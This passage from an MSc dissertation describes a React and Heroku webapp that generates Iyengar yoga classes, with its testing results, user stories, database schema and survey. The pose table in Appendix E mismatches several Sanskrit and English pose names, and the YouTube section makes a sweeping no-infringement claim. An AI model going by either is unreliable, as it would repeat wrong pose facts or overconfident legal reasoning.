The program uses the special handleChange function for changing the state attributes upon the user selection from the dropdown menus for each preference. The program then uses the special handleSubmit function to do the logic when the form is submitted by clicking on the “Generate Now” button. Note that the state for that submission logic is already chosen from the dropdown menu selections done by the handleChange function. All poses from the database are then fetched using the GET API from the API webapp and stored in an attribute in MainArea’s state. This ensures that if the database is changed, the most updated database version is extracted when a form submission is made. State in ReactJS can take different data type equivalents compared to Java. In this case the fetched data is stored in a state attribute similar to a hash-table. The program stores the final poses for the class again in a similar attribute in state and adds every pose to that attribute during the filtering function. This is the incredible benefit of the state’s flexible functionality of ReactJS. The state data structure is automatically dealt with throughout the entirety of the project.
Before the logic for the different pose category section comes, one array is made for all exercises filtered only by the user’s difficulty preference. Then another one by difficulty and type. Then another one by difficulty, type and props. The program uses these arrays which are all further filtered by the current category (the categories are parts 3-8 from Figure 3) to select a random pose. This loops until the combined time for the poses in the category reaches the specified time which, as mentioned, equals to (User Time Preference - Sum of parts 1,2,9,10)/6.
Upon selection, each pose is removed from all the arrays to avoid duplications in the future. First, an attempt is made to select an exercise from the most filtered option and if the array is empty, the program tries to select from the next, less filtered array. The program accounts for a scenario where there are no more poses for a given category without any further filters in which case a final attempt is made to select a random pose from the entire remaining pose pool. Given the maximum class length, this will never be reached, but it is good practice, allowing for future changes.
3.2.2 Visuals
The visual part of this webapp was developed within React, but using the Bootstrap framework. This covers the overall alignment of the items on the screen and because of the responsive grid system of bootstrap, this provides good responsiveness to different screen sizes for the webapp. Bootstrap was also used for the pose cards which allowed to incorporate the card flip functionality. Note that the card is a separate component within the program which utilizes the React component efficiency. Cascading Style Sheets were used as well. There is a second css file dedicated for the card component.
The webapp includes the Music Player which was incorporated using the ReactPlayer import and is contained in a separate React component. The Music Player works as if streaming directly from YouTube bringing along the buttons and navigations from YouTube including volume setter, pause/resume and the timeline navigator. The webapp stores URLs for several music categories in a JSON file and upon preference selection, a random URL is chosen from that selection category. All URLs are from Live videos at the time of creation which
means that different individual soundtracks are played on the channel at any selected time. Note that sometimes the YouTube video owners remove their videos or disable third-party playing which is essentially what this webapp does. In such case, the video will say it is unavailable. This is something that is outside of the webapp’s power to control, but it is why several URLs were included in the JSON file. If it doesn’t work and the form is resubmitted with the same music type, a new random URL will be selected which will likely work.
In terms of copyright, YouTube has a fair use policy which allows usage without permission from the original video owner in cases where it is for teaching/educational purpose (YouTube, n.d.) especially when it comes to situations with non-profit intentions rather than commercial (YouTube Help, 2020) which is the case with this webapp. Moreover, these guidelines are for users uploading new videos on YouTube using other YouTube content creators’ material which is not happening here as this is just a third-party playing directly the same video. It is essentially streaming from YouTube rather than uploading a new video meaning there is no copyright infringement in any case, but even if, fair use is applicable. While working on the webapp, one of the content creators turned off his third-party playing which stopped playing the music on the webapp’s end. This hints that for the rest of the URLs, the channel owners have intentionally turned it on for third parties.
The webapp includes a header and footer and the header has a logo which is a free-to-use image from an internet source (PNG MART, 2018).
3.3 Deployment
For the deployment of the product, an initial attempt was made with GitHub Pages. The deployment of the Main React Application was successful and was displayed properly, but there was no way to link the API React Application and the Main React Application. As a result, an alternative was necessary.
In the end, Heroku was used to deploy both apps through a pipeline which enabled both to run at the same time, to communicate correctly and removed the requirement for the end user to run the API separately. Prior to that, running the project locally required both apps to be launched using different terminal commands. Another benefit of Heroku was that each GitHub push to the remote master (origin) branch automatically redeployed the updated app. Note that Heroku causes the webapp to go to sleep if no web-traffic is registered for more than 30 minutes, so a small functionality delay upon opening the app for the first time in a while is normal (Heroku Dev Center, 2020).
In the end, the final product was enabled to be accessed via a single link (https://iyengaryogamain.herokuapp.com) which is leading directly to the Main App. Note that the drawback here is that the MainArea fetch link, GET Request link and pgAdmin database had to be amended to adapt for Heroku to work. Consequently, the webapp can no longer run locally.
The following figures illustrate the deployed webapp including the changes made after the user testing mentioned in section 5.1. The arrows are added to aid understanding. Figure 5 shows what the webapp looks like upon opening the webapp and selecting “Chill” on the music preference dropdown.
Figure 5 – The webapp when opened and a dropdown is selected
Figures 6 and 7 visualize the generated class; the latter also shows a card-flip.
Figure 6 - The webapp when the Generate Now button is clicked.
Figure 7 - The webapp scrolled down after form submission and after pointing to the first pose to flip the card to reveal the pose description
Chapter 4 Testing and Evaluation
4.1 Software Testing
Unit Testing was chosen not to be done due to the time cost, but manual tests were chosen to be conducted to examine user stories acceptance criteria from Appendix A. This will be revealed in detail in section 4.3.
User tests were also decided to be included and the platform via which the user testing was done was Google Forms. The entire questionnaire can be found in Appendix F.
Laboratory user testing for apps especially in mobile has been proven to be sufficient when reviewing user interfaces. This involves giving users tasks, completing these tasks and observing the outcomes (Kaikkonen et al., 2005). The first part of the Google Form is essentially focused on remote laboratory user testing where users are given tasks to do on the Iyengar Yoga Class Generator and asked questions regarding those tasks. All tasks and questions have been simplified as much as possible in order to avoid confusion and extract maximum insight. The tasks are focused around the webapp features and cover the entire functionality of the webapp. This is very specific to the webapp and in order to review the webapp in its entirety, some form of an overall satisfaction questionnaire will be necessary as well.
Empirical research has shown that a tool called the System Usability Scale is a very reliable way to test the overall usability of a product. The original version consists of 10 statements and they require the user to rate them from 1 to 5 (Bangor, Kortum and Miller, 2008). This is a very appropriate tool to test the system usability of the Iyengar Yoga Class Generator. Therefore, the second part of the Google Form consists of a modified SUS questionnaire where additional questions, focused on overall webapp satisfaction, have been included for increased insight. The last 5 questions are yoga specific as well and are only aimed at yoga practitioners. They have been made optional in the Google Form whereas the rest are mandatory to ensure complete data collection.
The form was sent out to an audience consisting of both yoga practitioners and non-yoga practitioners. Participants had to first consent to participating and using their data before continuing as a first and mandatory step. Note that the survey is anonymous and points out to participants that they can withdraw their participation at any time. The final sample consists of 10 completed forms which is sufficient for the purposes of this project. The sample includes enough yoga practitioners as well which makes use of the yoga-specific questions from the second part of the Google Form.
This research complies with the School Ethics Procedure. The Assessment Ethics Checklist form is applicable for this case and has been signed as shown in Appendix G where the introduction and debriefing scripts have also been included. The entire Google Form can be accessed at:
4.2 Evaluation Strategy
The evaluation of the manual tests will be done on a simple passed or not passed basis.
This will then be followed by an analysis of the survey feedback which included both averages and outliers where appropriate. Google Forms has a built-in functionality where the creator of the form can see some basic statistics of the results which was used for the analysis.
The task-based questions have been designed to either be quantitative or to reaffirm expected results from completing a given task. The evaluation here will confirm if the webapp is performing as intended.
The usage of the System Usability Scale (SUS) also allows for quantitative insight into the way users think about the product overall which is a different way of evaluating it.
Note that the evaluation is based on the collected sample of users only which is 10. For better results, future research could expand the survey to a wider audience for better statistical accuracy. There was no specific profiling of the users when given the questionnaire which could also be amended for future research based on what direction the product takes.
4.3 Results
4.3.1 Manual Test Results
Figure 8 summarizes the tests and the results. All manual tests passed indicating that user story acceptance criteria have been satisfied.
<table>
<thead>
<tr>
<th>User Story</th>
<th>Test Made</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Attempted opening each dropdown, selecting a preference and submitting the form.</td>
<td>Class was generated underneath. Test passed.</td>
</tr>
<tr>
<td>2</td>
<td>Several different class submission attempts were made to test if combined pose length is smaller than length preference.</td>
<td>For 30 min preference, combined pose length was 26 min. For 60 min preference, combined pose length was 56 min. Test passed.</td>
</tr>
<tr>
<td>3</td>
<td>A resubmission was made with the same pose preferences multiple times.</td>
<td>Every time poses generally changed with the exception of the fixed ones. Test passed.</td>
</tr>
<tr>
<td>4</td>
<td>After a submission, all the poses were checked for details.</td>
<td>Each pose included all the details successfully. Test passed.</td>
</tr>
<tr>
<td>5</td>
<td>After a submission, all the poses were checked for having animations.</td>
<td>Each pose had a working animation. Test passed.</td>
</tr>
<tr>
<td>6</td>
<td>After a submission, all the poses were checked for having a description by moving the cursor over the pose.</td>
<td>Each pose revealed the description through the card flip. Test passed.</td>
</tr>
</tbody>
</table>
As part of a submission, "chill" music was selected. Upon submission, a video player was activated playing "The Good Life Radio" live stream from YouTube. Test passed.
After the submission of a form with a music preference, the video player controls were tested. The video could be successfully paused, unpaused and volume controlled. Test passed.
**Figure 8 - Manual Tests**
### 4.3.2 Task-Based Results
For this section, each question from the task-based survey part will be analyzed separately and chronologically.
For “Does the webapp generate a class consisting of multiple poses for you?” 100% of users reported class generations with multiple poses when clicking on the submit button. This indicates that the main functionality of pose generation is working including the communication with the API webapp, the deployment, the data extraction from the database and the display of those poses.
For “What is the first pose name?” the first pose was reported as overall 20% Siddhasana and 80% Swastikasana of all cases. The first pose was programmed to be either Siddhasana or Swastikasana with 30:70 probability ratio. Given that the survey size is of only 10, this is close enough to reveal that this task has worked correctly for all users and that the backend logic for the pose rules is working.
For “What is the last pose name?” all practitioners with the exception of one have reported Savasana which is what is expected. The last user has picked Utthita Hasta Padangusthasana Belt which is probably an error as the other 9 have it reported correctly.
For “What is the second pose name?” in all cases Tadasana was reported which is what is expected and again reaffirms that the pose logic on the backend is performing as intended.
The next two questions are connected with each other and for the benefit of understanding the different cases, Google Forms’ spreadsheet functionality was used to show each participant’s length preference and corresponding poses displayed for that specific length preference. Participants have picked primarily 15 min and 30 minutes and 1 user has picked 90 minutes. In all cases the ratio minutes to poses is about 3:1 which is what should show up given that the average pose length is about 3 minutes. This also indicates that the length preference part of the logic is working.
For “Can you see the stick-figure animation of the first pose?” the response was always positive indicating animations are always working using the gif URLs.
For the “What is the third pose’s Difficulty and Length?” question there was a wide variety of responses which is what the aim of the question was. The third pose is always random in contrast to the first two which are constant. This proves that the randomization works.
For “What music is playing at the moment?” participants have reported all the different types which shows that the music functionality is working well for their chosen type.
For “At what % is the volume roughly set at the moment?” 70% have reported 50% volume which is what they should have been seeing if they have not changed the default. The rest have probably tweaked it before reaching this question which was not instructed, but is understandable if it was too quiet or too loud at start. The fact that they can see the volume mixer means the music player functionality is working as intended.
For “Can you read the description of the 4th pose by positioning the cursor over the animation?” all participants could read the 4th pose description indicating that the pose descriptions are shown as intended successfully.
For “Is there any music played/displayed now?” after submitting a form with music preference as disabled, all participants confirmed that they do not have music playing. This confirms that the functionality for selecting music to be enabled or disabled works correctly.
For “How many poses are displayed for this class now?” practitioners reported various numbers which were often different when compared to their corresponding first class' pose numbers even though they have the same class length preferences. This proves that the class generation is often times creating a different number of poses for the same class length due to the different pose length durations and the randomization factor.
90% of the practitioners have reported that the poses have generally changed. The remaining 10% could have focused their attention on the fixed poses when the selected length is the 15-minute minimum. In that case, proportionately, the fixed poses will have taken a larger part of the entire class, explaining the outlier.
### 4.3.3 System Usability Scale Results
In this section, each question will be analyzed separately and chronologically.
Figure 9 shows that the practitioners would overall like to use the system as it is averaging out at 4. This indicates overall user-friendliness and usability of the webapp.

90% of the participants selected 1 as rating the system as unnecessarily complex, which evidences that simplicity was indeed achieved. The last rating was of 2. This is further supported by the fact that 90% of the users also thought the system was easy to use with the maximum rating of 5. The last rating was of 4. Lastly, 90% of the practitioners selected a score of 1 for the need of technical support to use the system whereas only 10% selected 2. These questions make sense as they are all correlated with the simplicity of the webapp which was what one of the primary goals was in the first place. The ratings for functional integration were of 4 and 5 only and the presence of system inconsistencies was almost entirely rated as 1.
80% of participants felt that a score of 5 and 20% felt that a score of 4 is appropriate for the statement that people can learn to use the system very quickly. This is of particular importance as, again, the webapp was aimed to be as simple as possible to encourage integration into yoga practicing. In addition, 80% completely disagreed that the system was cumbersome to use and 20% thought that it deserved a rating of 2 which is overall a very good result.
The system confidence had an average rating of 4.8. This indicates that users found the system logical and predictable. On top of that an average rating of 1.1 was achieved for the need of learning things before using the system. These results support the notion that users are not expected to know or learn anything prior to using the webapp.
The system and design elegance are more spread out even though the average rating is still a very good 4.4 as seen in Figure 10. This indicates that further work can be done to make the design more appealing.

**Figure 10 - System elegance and design question survey results**
Description and animation straightforwardness scored a rating of 4.7 which exceeded expectations considering that the animations were made using a 2-D animator.
Users rated an average 4.4 for thinking that the webapp will encourage users to try yoga, but this question has to be considered in light of the fact it only reveals the users’ thoughts about other users whereas empirical research suggested that a simple yoga app could solve the issue of new yoga practitioner exclusiveness.
User preferences were found to be applied to the poses at an average rating of 4.6 signifying that the preference filters worked well.
The optional questions related to the sequencing, pose specifications, pose descriptions, pose animations and beginning/ending poses were answered by 4 participants which is a good enough sample to get an idea for the pose accuracy. For almost all of the questions, the score was 5 signifying that the information displayed to the users is a good representation of what a class should be.
4.3.4 Summary
All the manual tests passed the user story acceptance criteria. The overall outcome was positive for the task-based part indicating that the entire webapp functionality works as planned. The SUS also showed positive results especially around the simplicity of the webapp which was one of the main goals of this project. Moreover, the system was reported to be easy to learn, accurate for pose/class details and elegant.
The comments in the end complimented additionally the user friendliness, color choice, interface simplicity and ease, music feature, intuitiveness and design appeal. The improvement suggestions included a potential switch to a single card that navigates to the next exercises instead of a list of cards. Another suggestion was to increase the size of the dropdown menus. Most importantly, several participants revealed both through comments and by personally reaching out to me that there are some interface issues. The webapp is not working properly on full screen and, depending on desktop screen size, some of the items, especially the cards, overlapped which made information partially hidden. The dropdowns in some cases did not work at all. Sometimes a refresh was needed to enable the usage of the form.
Chapter 5 Conclusion
5.1 Achievements
The status of the project is that the product is complete and fully functional as intended with minor improvements required for the future. The webapp has successfully achieved the initial requirements and, more specifically, has accomplished all the Must Have and Should Have objectives as well as the first two of the Could Have objectives. This seems fair given the MoSCoW way of prioritizing features and justifies the choices of features to be implemented. The actual days taken to complete the individual stories was very close to the original estimates given in Appendix A.
Separately, I was personally able to learn the basics of React which is a completely new framework for me. This was challenging given the time constraint, but will be very useful for future practice in the industry as it is a very popular framework.
The user testing results were overall positive and the comments revealed some flaws with the interface. Upon further investigation after the user testing evaluation was complete, bootstrap column sizes were identified as the issue for the card overlap issue as well as for the dropdowns not working. The reason for the latter was that the music player column was overlapping with the dropdown menus even though there was no video played yet. Regardless, this made the dropdowns non-clickable, but still visible. Both issues were fixed by increasing column sizes on smaller screens in order to occupy the entire length of the screen. This also fixed the problem of requiring full screen only for the app to work. The webapp is now fully responsive to desktop resizing and is optimized for no overlapping content.
5.2 What to improve
One thing that could be improved is to use a more complex animation software that enables 3-D animation for better visual representation especially with the more complicated poses which are difficult to see from the front or side on 2-D. With these specific poses, the Pivot Animator did represent the poses well enough from custom angles which were neither frontal nor side angles, but a 3-D animation would definitely be better as was noted by some of the participants. This would also improve the appeal of the webapp.
A second point for improvement was to adapt the webapp to mobile. Currently, some mobile adaptiveness is present via the bootstrap grid system usage of column sizes, but from testing on different devices, it was discovered that this does not work for all mobile screen sizes. This was out of scope for this project and could be improved in the future.
5.3 Future work
Linking back to the improvements, research can be made into 3-D animating products with which new, more comprehensive and easier to understand
animations can be made for each pose. This will be challenging and will require a significant amount of effort considering the time spent on the current relatively simple 2-D animations for only 54 poses.
The other improvement idea for future work is complete adaptiveness to mobile. This could be very valuable especially as users might want to use their mobile devices to follow the classes while performing the poses. Rather than improving the webapp, perhaps a mobile app could be developed which would be more convenient for users with mobile devices.
Something that could be an ongoing future work is to add a wider range of poses which would definitely benefit the webapp as it will generate more variations of classes and will apply all preferences in all cases rather than partial preferences where all preferences are not possible. More rules can also be added to the classes to be able to better represent Iyengar yoga as well as general yoga best practices. The extent of all Iyengar yoga practices was not applied for this project as priority was given to finishing a functional product using ReactJS.
More features could be added such as class reveal animations, login functionality, facebook login, favorites, custom class creation, email notifications, calendar review of classes done in the past and a system for progressing to more advanced poses. The product as it stands is the foundation of what a very complicated yoga webapp could become. Microservices, separation of concern and React Component usage will make the process of incorporating more features in the future easier.
Chapter 6 References
IYENGAR YOGA (UK), 2018. *Iyengar Yoga Teaching Syllabus (Introductory Level)*.
Appendix A User Stories
For the following user stories 1 ideal day is the equivalent to 8 ideal hours and the priority values are 1 - “must have”, 2 - “should have” and 3 - “will not have”.
1. As a user I can select my preferences for the poses and submit the form.
Estimated Ideal Days: 8
Priority: 1
Acceptance Test: The user needs to be able to open the dropdown menus, click on a preference for each option and submit the overall form which will display the generated class underneath.
Details: The selected poses will be extracted from the database using all preferences where possible and then removing props preference, then type and then difficulty.
2. As a user, upon submitting the form I will receive a class which will be for my desired length preference.
Estimated Ideal Days: 5
Priority: 2
Acceptance Test: Upon submission, the generated class’ combined pose length will not be longer than the user’s class preference.
Details: The program will loop through the filtering process to select poses with as many preferences as possible until the combined pose length attribute values reach the user’s preference length.
3. As a user, upon resubmitting the form, I will have a new randomized class generated for me using the new preferences.
Estimated Ideal Days: 7
Priority: 1
Acceptance Test: Upon resubmitting, the user can see that the poses have changed with the exception of the constant default poses for beginning a class subpart and the overall end of the class.
Details: The fixed poses will be always added to the class outside of the loop for the rest of the classes to ensure they are always there. Upon resubmitting the form, an entirely new handleSubmit function will be triggered causing the generation of a brand-new class.
4. As a user, I can see the English and Sanskrit names, the exercise group, the type, the difficulty, the length and the props of each pose after the class is generated.
Estimated Ideal Days: 4
Priority: 1
Acceptance Test: Upon submitting, the user can see each pose’s details.
Details: The pose details will be stored as attributes as part of the database, so upon API calls from the database, the details will be included.
5. As a user, I can see a visual representation of the pose in the form of an animation.
Estimated Ideal Days: 10
Priority: 1
Acceptance Test: Upon submitting the form, each pose will include an animation to aid its understanding.
Details: Each pose will have a URL as an attribute which will lead to a gif for its animation.
6. As a user, I can see the description of each pose when the form is submitted.
Estimated Ideal Days: 3
Priority: 2
Acceptance Test: Upon submitting the form, a description of the pose will be shown.
Details: This will be done via a card flip and the description will be on the back side of the card.
7. As a user, I can request music to be played as part of the form submission and can select from multiple types.
Estimated Ideal Days: 3
Priority: 2
Acceptance Test: Upon submitting the form, if a music type is chosen, music will be played from YouTube.
Details: The YouTube player will select a random URL from a JSON file storing all the links for the different types. Multiple URLs will be stored for each type.
8. As a user, I can control the volume, pause and unpause the music if I had selected a music type before submitting the form.
Estimated Ideal Days: 1
Priority: 2
Acceptance Test: Upon playing music, the user can control the player.
Details: The react-player functionality will ensure these actions are possible.
### Appendix C Additional Sources of Guidance for Animations and Pose Descriptions
<table>
<thead>
<tr>
<th>Source</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>Online Yoga Teaching</td>
<td><a href="https://www.youtube.com/user/onlineyogateaching">https://www.youtube.com/user/onlineyogateaching</a></td>
</tr>
<tr>
<td>Helen and Julia Yoga</td>
<td><a href="https://www.youtube.com/channel/UCGRk8mmlbG3ENDo7wr3HlQQ">https://www.youtube.com/channel/UCGRk8mmlbG3ENDo7wr3HlQQ</a></td>
</tr>
<tr>
<td>VENTUNO YOGA</td>
<td><a href="https://www.youtube.com/user/VentunoYoga">https://www.youtube.com/user/VentunoYoga</a></td>
</tr>
<tr>
<td>KinoYoga</td>
<td><a href="https://www.youtube.com/c/KinoYoga">https://www.youtube.com/c/KinoYoga</a></td>
</tr>
<tr>
<td>Roads To Bliss</td>
<td><a href="https://www.youtube.com/c/RoadsToBliss">https://www.youtube.com/c/RoadsToBliss</a></td>
</tr>
<tr>
<td>Howcast</td>
<td><a href="https://www.youtube.com/howcast">https://www.youtube.com/howcast</a></td>
</tr>
<tr>
<td>Yoga by Candace</td>
<td><a href="https://www.youtube.com/c/YogabyCandace1">https://www.youtube.com/c/YogabyCandace1</a></td>
</tr>
<tr>
<td>Yoga Infusion</td>
<td><a href="https://www.youtube.com/c/YogaInfusion">https://www.youtube.com/c/YogaInfusion</a></td>
</tr>
<tr>
<td>Alo Moves - Online Yoga Videos</td>
<td><a href="https://www.youtube.com/channel/UCsksmxdgJtJp18iMYQpJg0A">https://www.youtube.com/channel/UCsksmxdgJtJp18iMYQpJg0A</a></td>
</tr>
<tr>
<td>YogaVibes</td>
<td><a href="https://www.youtube.com/channel/UCdgjFK61CSQtbWjmlwM7r1w">https://www.youtube.com/channel/UCdgjFK61CSQtbWjmlwM7r1w</a></td>
</tr>
<tr>
<td>Bodhi Yoga Training Academy</td>
<td><a href="https://www.youtube.com/c/BodhiYogaTrainingAcademy">https://www.youtube.com/c/BodhiYogaTrainingAcademy</a></td>
</tr>
<tr>
<td>Timiti</td>
<td><a href="https://www.youtube.com/channel/UCHIlqf5aTiq2RPr72l2mHt2g">https://www.youtube.com/channel/UCHIlqf5aTiq2RPr72l2mHt2g</a></td>
</tr>
<tr>
<td>Yoga With Tim</td>
<td><a href="https://www.youtube.com/channel/UCCiuZl2ydLCvN5txLWoqRg">https://www.youtube.com/channel/UCCiuZl2ydLCvN5txLWoqRg</a></td>
</tr>
<tr>
<td>iHanuman Yoga Media</td>
<td><a href="https://www.youtube.com/channel/UChqprHA1rDds4CV4QdvUwyg">https://www.youtube.com/channel/UChqprHA1rDds4CV4QdvUwyg</a></td>
</tr>
<tr>
<td>Sikana English</td>
<td><a href="https://www.youtube.com/c/SikanaEN">https://www.youtube.com/c/SikanaEN</a></td>
</tr>
<tr>
<td>Linda Black</td>
<td><a href="https://www.youtube.com/channel/UCw04kYTE0eftZZNdmilJ2lw">https://www.youtube.com/channel/UCw04kYTE0eftZZNdmilJ2lw</a></td>
</tr>
<tr>
<td>The Art of Living</td>
<td><a href="https://www.youtube.com/channel/UCluVGPJsz1AST42hcgPMMQa">https://www.youtube.com/channel/UCluVGPJsz1AST42hcgPMMQa</a></td>
</tr>
<tr>
<td>VINDHYACHAL YOGA SADHNA Yogi Aditya Shrivivas</td>
<td><a href="https://www.youtube.com/channel/UC_JVp6CLnqvoijq2J6YDWg">https://www.youtube.com/channel/UC_JVp6CLnqvoijq2J6YDWg</a></td>
</tr>
<tr>
<td>essentialyoga</td>
<td><a href="https://www.youtube.com/channel/UCIGla_QyvkJgW6zAHSZvSYg">https://www.youtube.com/channel/UCIGla_QyvkJgW6zAHSZvSYg</a></td>
</tr>
<tr>
<td>IYASE NEWS</td>
<td><a href="https://www.youtube.com/c/IYASENEWS">https://www.youtube.com/c/IYASENEWS</a></td>
</tr>
<tr>
<td>Yoga Journal</td>
<td><a href="https://www.youtube.com/channel/UC-QfhsGgB-WqOJRR98XZrkA">https://www.youtube.com/channel/UC-QfhsGgB-WqOJRR98XZrkA</a></td>
</tr>
</tbody>
</table>
### Appendix D pgAdmin CREATE TABLE
```sql
CREATE TABLE exercise(
```
exerciseid INT NOT NULL,
sanskritname character varying(64) NOT NULL,
englishname character varying(64) NOT NULL,
exerciseposition character varying(64) NOT NULL,
exercisetype character varying(64) NOT NULL,
difficulty character varying(16) NOT NULL,
minutes INT NOT NULL,
url character varying (1024) NOT NULL,
exerciseprops character varying(64),
description character varying (1024) NOT NULL,
PRIMARY KEY (exerciseid));
Appendix E pgAdmin Database
<table>
<thead>
<tr>
<th>exerciseid</th>
<th>sanskritname</th>
<th>englishname</th>
<th>exerciseposition</th>
<th>exercisetype</th>
<th>difficulty</th>
<th>minutes</th>
<th>url</th>
<th>exerciseprops</th>
<th>description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Suptada</td>
<td>Accomplish</td>
<td>Seated Other</td>
<td>Meditate</td>
<td>Beginner</td>
<td>6</td>
<td>https://...</td>
<td>None</td>
<td>Start by sitting with leg...</td>
</tr>
<tr>
<td>2</td>
<td>Ardha M..</td>
<td>Downward</td>
<td>Standing Forward</td>
<td>Mix</td>
<td>Beginner</td>
<td>3</td>
<td>https://...</td>
<td>None</td>
<td>Plant your hands firmly...</td>
</tr>
<tr>
<td>3</td>
<td>Tadasana</td>
<td>Mountain P.</td>
<td>Standing Badha</td>
<td>Balance</td>
<td>Beginner</td>
<td>2</td>
<td>https://...</td>
<td>None</td>
<td>Stand upards with fo...</td>
</tr>
<tr>
<td>4</td>
<td>Urdha R.</td>
<td>Volcano Po.</td>
<td>Standing Badha</td>
<td>Stretch</td>
<td>Beginner</td>
<td>2</td>
<td>https://...</td>
<td>None</td>
<td>Separate your feet hip...</td>
</tr>
<tr>
<td>5</td>
<td>Siddhasan</td>
<td>Palm Tree P.</td>
<td>Standing Badha</td>
<td>Stretch</td>
<td>Beginner</td>
<td>2</td>
<td>https://...</td>
<td>None</td>
<td>Stand in Tadasana...</td>
</tr>
<tr>
<td>6</td>
<td>Garudasana</td>
<td>Coo Face P.</td>
<td>Seated Tackl</td>
<td>Stretch</td>
<td>Beginner</td>
<td>4</td>
<td>https://...</td>
<td>None</td>
<td>Sit in Garudasana (Staff...</td>
</tr>
<tr>
<td>7</td>
<td>Padmasana</td>
<td>Standing Re.</td>
<td>Standing Badha</td>
<td>Stretch</td>
<td>Beginner</td>
<td>3</td>
<td>https://...</td>
<td>None</td>
<td>Relax the shoulders an...</td>
</tr>
<tr>
<td>8</td>
<td>Sankasana</td>
<td>Eagle Pose</td>
<td>Standing Badha</td>
<td>Mix</td>
<td>Beginner</td>
<td>4</td>
<td>https://...</td>
<td>None</td>
<td>From standing bring ar...</td>
</tr>
<tr>
<td>9</td>
<td>Utkkha Th.</td>
<td>Extended T.</td>
<td>Standing Forward</td>
<td>Mix</td>
<td>Beginner</td>
<td>4</td>
<td>https://...</td>
<td>Block</td>
<td>Start standing with fee...</td>
</tr>
<tr>
<td>10</td>
<td>Vratdhanad</td>
<td>Warrior Pos.</td>
<td>Standing Forward</td>
<td>Stretch</td>
<td>Beginner</td>
<td>5</td>
<td>https://...</td>
<td>Chair</td>
<td>Hooking your left knee...</td>
</tr>
<tr>
<td>11</td>
<td>Utkkha Pa.</td>
<td>Extended S.</td>
<td>Standing Forward</td>
<td>Balance</td>
<td>Beginner</td>
<td>3</td>
<td>https://...</td>
<td>None</td>
<td>From standing in Tada...</td>
</tr>
<tr>
<td>12</td>
<td>Utkkha Pa.</td>
<td>Extended S.</td>
<td>Standing Forward</td>
<td>Balance</td>
<td>Beginner</td>
<td>3</td>
<td>https://...</td>
<td>None</td>
<td>From standing position...</td>
</tr>
<tr>
<td>13</td>
<td>Utkkha Th.</td>
<td>Standing Fo.</td>
<td>Standing Forward</td>
<td>Stretch</td>
<td>Beginner</td>
<td>2</td>
<td>https://...</td>
<td>None</td>
<td>You will need a second...</td>
</tr>
<tr>
<td>14</td>
<td>Upavistha</td>
<td>Seated Shin.</td>
<td>Seated Forward</td>
<td>Stretch</td>
<td>Beginner</td>
<td>2</td>
<td>https://...</td>
<td>None</td>
<td>From crossed-legged posi...</td>
</tr>
<tr>
<td>15</td>
<td>Baddha K.</td>
<td>Bound Angl.</td>
<td>Seated Forward</td>
<td>Stretch</td>
<td>Beginner</td>
<td>4</td>
<td>https://...</td>
<td>Block</td>
<td>You will need a second...</td>
</tr>
<tr>
<td>16</td>
<td>Setu Bash</td>
<td>Bridge Pose</td>
<td>Pione/Supine</td>
<td>Mix</td>
<td>Advanced</td>
<td>3</td>
<td>https://...</td>
<td>None</td>
<td>Lie on back, left knee...</td>
</tr>
</tbody>
</table>
Appendix F Google Form
1. Open the webapp from https://iyengaryogamain.herokuapp.com. Choose any preferences you wish including for music and click on submit. Does the webapp generate a class consisting of multiple poses for you?
2. What is the first pose name?
3. What is the second pose name?
4. What is the last pose name?
5. What length preference did you choose? * in minutes
6. How many poses ended up being displayed?
7. Can you see the stickfigure animation of the first pose?
8. What is the third pose’s Difficulty and Length?
9. What music is playing at the moment?
10. At what % is the volume roughly set at the moment?
11. Can you read the description of the 4th pose by positioning the cursor over the animation?
12. Choose pose preference as "None" for everything and music preference as "Disabled" and submit the form.
13. Is there any music played/displayed now?
14. How many poses are displayed for this class now?
Appendix G Ethics Checklist
Introduction: Thank you for participating in the survey. Please note that all survey information will be anonymous, stored securely and will be deleted from Google Forms after the project is submitted. This survey will cover usability and functionality feedback on using the Iyengar Yoga Class generator which is a part of Ventsislav Antov's MSc Software Development Dissertation Project for Glasgow University. The survey will first ask you to complete tasks on the Iyengar Yoga Class Generator webapp and to answer questions related to those tasks. The survey will then ask you some additional questions regarding your overall experience with the webapp - some of these will be for yoga-experienced users only, so if you haven't practiced yoga, simply ignore them. You can withdraw your application at any time. The purpose of the webapp is to generate unique classes based upon your selected preferences. Note that you must consent to participating before starting the tasks.
Debriefing: Your contribution will be used to evaluate the webapp and make improvements where necessary. If you need to contact me, please do so through my email which is ven.antov@gmail.com. The project supervisor is Ornela Dardha and her email is ornela.dardha@glasgow.ac.uk.
Have the poses generally changed with the exception of Tadasana, Dandasana, Sarvangasana and Savasana?
Answer from 1 (Strongly Disagree) to 5 (Strongly Agree).
1 I think that I would like to use this system frequently.
2 I found the system unnecessarily complex.
3 I thought the system was easy to use.
4 I think that I would need the support of a technical person to be able to use this system.
5 I found the various functions in this system were well integrated.
6 I thought there was too much inconsistency in this system.
7 I would imagine that most people would learn to use this system very quickly.
8 I found the system very cumbersome to use.
9 I felt very confident using the system.
10 I needed to learn a lot of things before I could get going with this system.
11 I found the system elegant and well designed.
12 I found the descriptions and animations to be straightforward.
13 I think that the system will encourage users to try Yoga.
14 I found my preferences to be applied by the webapp successfully or at least partially for each pose (for example, each pose has at least the preferred difficulty).
15 (Optional and applicable only if Yoga experienced) I found the sequence of poses to be logical and to represent a balance of different pose types.
16 (Optional and applicable only if Yoga experienced) I found the pose specifications accurate.
17 (Optional and applicable only if Yoga experienced) I found the descriptions to be accurate for the poses.
18 (Optional and applicable only if Yoga experienced) I found the animations to be accurate for the poses.
19 (Optional and applicable only if Yoga experienced) Do the beginning and ending exercise seem appropriate for a class?
Based on original SUS system (Bangor, Kortum and Miller, 2008).
School of Computing Science
University of Glasgow
Ethics checklist form for assessed exercises (at all levels)
This form is only applicable for assessed exercises that use other people (‘participants’) for the collection of information, typically in getting comments about a system or a system design, or getting information about how a system could be used, or evaluating a working system.
If no other people have been involved in the collection of information, then you do not need to complete this form.
If your evaluation does not comply with any one or more of the points below, please contact the Department Ethics Committee for advice.
If your evaluation does comply with all the points below, please sign this form and submit it with your assessed work.
1. Participants were not exposed to any risks greater than those encountered in their normal working life.
